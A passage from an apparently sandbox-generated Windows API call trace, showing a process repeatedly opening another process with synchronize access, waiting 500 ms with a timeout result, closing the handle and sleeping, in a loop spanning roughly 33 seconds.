(hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0234.414] CloseHandle (hObject=0x224) returned 1 [0234.414] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0234.414] Sleep (dwMilliseconds=0x1) [0234.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0234.430] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0234.945] CloseHandle (hObject=0x224) returned 1 [0234.945] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0234.945] Sleep (dwMilliseconds=0x1) [0234.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0234.962] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0235.517] CloseHandle (hObject=0x224) returned 1 [0235.517] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0235.517] Sleep (dwMilliseconds=0x1) [0235.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0235.528] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0236.028] CloseHandle (hObject=0x224) returned 1 [0236.028] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0236.028] Sleep (dwMilliseconds=0x1) [0236.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0236.044] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0236.611] CloseHandle (hObject=0x224) returned 1 [0236.611] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0236.611] Sleep (dwMilliseconds=0x1) [0236.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0236.697] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0237.449] CloseHandle (hObject=0x224) returned 1 [0237.449] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0237.449] Sleep (dwMilliseconds=0x1) [0237.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0237.465] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0237.965] CloseHandle (hObject=0x224) returned 1 [0237.965] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0237.965] Sleep (dwMilliseconds=0x1) [0237.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0237.982] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0238.981] CloseHandle (hObject=0x224) returned 1 [0238.981] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0238.981] Sleep (dwMilliseconds=0x1) [0238.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0238.996] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0239.802] CloseHandle (hObject=0x224) returned 1 [0239.802] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0239.802] Sleep (dwMilliseconds=0x1) [0239.807] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0239.807] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0240.754] CloseHandle (hObject=0x224) returned 1 [0240.754] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0240.754] Sleep (dwMilliseconds=0x1) [0240.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0240.764] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0241.897] CloseHandle (hObject=0x224) returned 1 [0241.897] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0241.897] Sleep (dwMilliseconds=0x1) [0241.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0241.902] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0242.400] CloseHandle (hObject=0x224) returned 1 [0242.401] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0242.401] Sleep (dwMilliseconds=0x1) [0242.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0242.418] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0242.939] CloseHandle (hObject=0x224) returned 1 [0242.939] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0242.939] Sleep (dwMilliseconds=0x1) [0242.948] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0242.948] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0243.463] CloseHandle (hObject=0x224) returned 1 [0243.463] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0243.463] Sleep (dwMilliseconds=0x1) [0243.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0243.479] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0243.994] CloseHandle (hObject=0x224) returned 1 [0243.994] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0243.994] Sleep (dwMilliseconds=0x1) [0244.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0244.013] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0244.510] CloseHandle (hObject=0x224) returned 1 [0244.510] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0244.510] Sleep (dwMilliseconds=0x1) [0244.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0244.526] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0245.055] CloseHandle (hObject=0x224) returned 1 [0245.055] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0245.055] Sleep (dwMilliseconds=0x1) [0245.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0245.070] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0245.570] CloseHandle (hObject=0x224) returned 1 [0245.570] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0245.570] Sleep (dwMilliseconds=0x1) [0245.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0245.586] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0246.105] CloseHandle (hObject=0x224) returned 1 [0246.105] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0246.105] Sleep (dwMilliseconds=0x1) [0246.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0246.114] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0246.614] CloseHandle (hObject=0x224) returned 1 [0246.614] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0246.614] Sleep (dwMilliseconds=0x1) [0246.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0246.630] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0247.145] CloseHandle (hObject=0x224) returned 1 [0247.145] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0247.145] Sleep (dwMilliseconds=0x1) [0247.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0247.161] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0247.661] CloseHandle (hObject=0x224) returned 1 [0247.661] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0247.662] Sleep (dwMilliseconds=0x1) [0247.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0247.677] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0248.192] CloseHandle (hObject=0x224) returned 1 [0248.192] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0248.192] Sleep (dwMilliseconds=0x1) [0248.220] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0248.221] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0248.723] CloseHandle (hObject=0x224) returned 1 [0248.723] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0248.723] Sleep (dwMilliseconds=0x1) [0248.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0248.739] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0249.240] CloseHandle (hObject=0x224) returned 1 [0249.240] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0249.240] Sleep (dwMilliseconds=0x1) [0249.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0249.256] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0249.757] CloseHandle (hObject=0x224) returned 1 [0249.757] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0249.757] Sleep (dwMilliseconds=0x1) [0249.771] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0249.771] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0250.287] CloseHandle (hObject=0x224) returned 1 [0250.287] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0250.287] Sleep (dwMilliseconds=0x1) [0250.303] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0250.303] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0250.803] CloseHandle (hObject=0x224) returned 1 [0250.803] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0250.803] Sleep (dwMilliseconds=0x1) [0250.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0250.824] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0251.318] CloseHandle (hObject=0x224) returned 1 [0251.318] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0251.318] Sleep (dwMilliseconds=0x1) [0251.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0251.334] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0251.853] CloseHandle (hObject=0x224) returned 1 [0251.853] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0251.853] Sleep (dwMilliseconds=0x1) [0251.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0251.865] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0252.381] CloseHandle (hObject=0x224) returned 1 [0252.381] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0252.383] Sleep (dwMilliseconds=0x1) [0252.397] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0252.397] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0252.910] CloseHandle (hObject=0x224) returned 1 [0252.910] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0252.910] Sleep (dwMilliseconds=0x1) [0252.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0252.913] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0253.428] CloseHandle (hObject=0x224) returned 1 [0253.428] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0253.428] Sleep (dwMilliseconds=0x1) [0253.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0253.468] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0253.961] CloseHandle (hObject=0x224) returned 1 [0253.961] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0253.961] Sleep (dwMilliseconds=0x1) [0253.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0253.974] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0254.477] CloseHandle (hObject=0x224) returned 1 [0254.477] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0254.477] Sleep (dwMilliseconds=0x1) [0254.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0254.524] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0255.023] CloseHandle (hObject=0x224) returned 1 [0255.024] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0255.024] Sleep (dwMilliseconds=0x1) [0255.046] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0255.046] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0255.546] CloseHandle (hObject=0x224) returned 1 [0255.547] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0255.547] Sleep (dwMilliseconds=0x1) [0255.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0255.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0256.061] CloseHandle (hObject=0x224) returned 1 [0256.061] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0256.061] Sleep (dwMilliseconds=0x1) [0256.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0256.078] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0256.592] CloseHandle (hObject=0x224) returned 1 [0256.592] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0256.592] Sleep (dwMilliseconds=0x1) [0256.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0256.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0257.125] CloseHandle (hObject=0x224) returned 1 [0257.125] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0257.125] Sleep (dwMilliseconds=0x1) [0257.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0257.139] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0257.655] CloseHandle (hObject=0x224) returned 1 [0257.655] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0257.655] Sleep (dwMilliseconds=0x1) [0257.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0257.670] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0258.186] CloseHandle (hObject=0x224) returned 1 [0258.186] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0258.186] Sleep (dwMilliseconds=0x1) [0258.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0258.201] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0258.701] CloseHandle (hObject=0x224) returned 1 [0258.701] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0258.701] Sleep (dwMilliseconds=0x1) [0258.717] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0258.717] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0259.217] CloseHandle (hObject=0x224) returned 1 [0259.217] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0259.217] Sleep (dwMilliseconds=0x1) [0259.276] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0259.276] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0259.777] CloseHandle (hObject=0x224) returned 1 [0259.777] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0259.777] Sleep (dwMilliseconds=0x1) [0259.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0259.793] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0260.293] CloseHandle (hObject=0x224) returned 1 [0260.293] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0260.293] Sleep (dwMilliseconds=0x1) [0260.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0260.308] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0260.808] CloseHandle (hObject=0x224) returned 1 [0260.808] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0260.808] Sleep (dwMilliseconds=0x1) [0260.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0260.824] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0261.324] CloseHandle (hObject=0x224) returned 1 [0261.324] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0261.324] Sleep (dwMilliseconds=0x1) [0261.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0261.339] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0261.839] CloseHandle (hObject=0x224) returned 1 [0261.839] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0261.840] Sleep (dwMilliseconds=0x1) [0261.855] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0261.855] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0262.355] CloseHandle (hObject=0x224) returned 1 [0262.355] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0262.355] Sleep (dwMilliseconds=0x1) [0262.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0262.371] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0262.886] CloseHandle (hObject=0x224) returned 1 [0262.886] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0262.886] Sleep (dwMilliseconds=0x1) [0262.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0262.902] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0263.402] CloseHandle (hObject=0x224) returned 1 [0263.402] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0263.402] Sleep (dwMilliseconds=0x1) [0263.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0263.418] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0263.917] CloseHandle (hObject=0x224) returned 1 [0263.917] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0263.925] Sleep (dwMilliseconds=0x1) [0263.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0263.934] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0264.445] CloseHandle (hObject=0x224) returned 1 [0264.446] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0264.446] Sleep (dwMilliseconds=0x1) [0264.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0264.461] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0264.961] CloseHandle (hObject=0x224) returned 1 [0264.961] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0264.961] Sleep (dwMilliseconds=0x1) [0264.977] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0264.977] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0265.478] CloseHandle (hObject=0x224) returned 1 [0265.478] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0265.478] Sleep (dwMilliseconds=0x1) [0265.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0265.479] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0265.983] CloseHandle (hObject=0x224) returned 1 [0265.983] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0265.984] Sleep (dwMilliseconds=0x1) [0265.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0265.999] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0266.499] CloseHandle (hObject=0x224) returned 1 [0266.499] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0266.499] Sleep (dwMilliseconds=0x1) [0266.516] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0266.516] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0267.030] CloseHandle (hObject=0x224) returned 1 [0267.030] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0267.030] Sleep (dwMilliseconds=0x1) [0267.046] OpenProcess 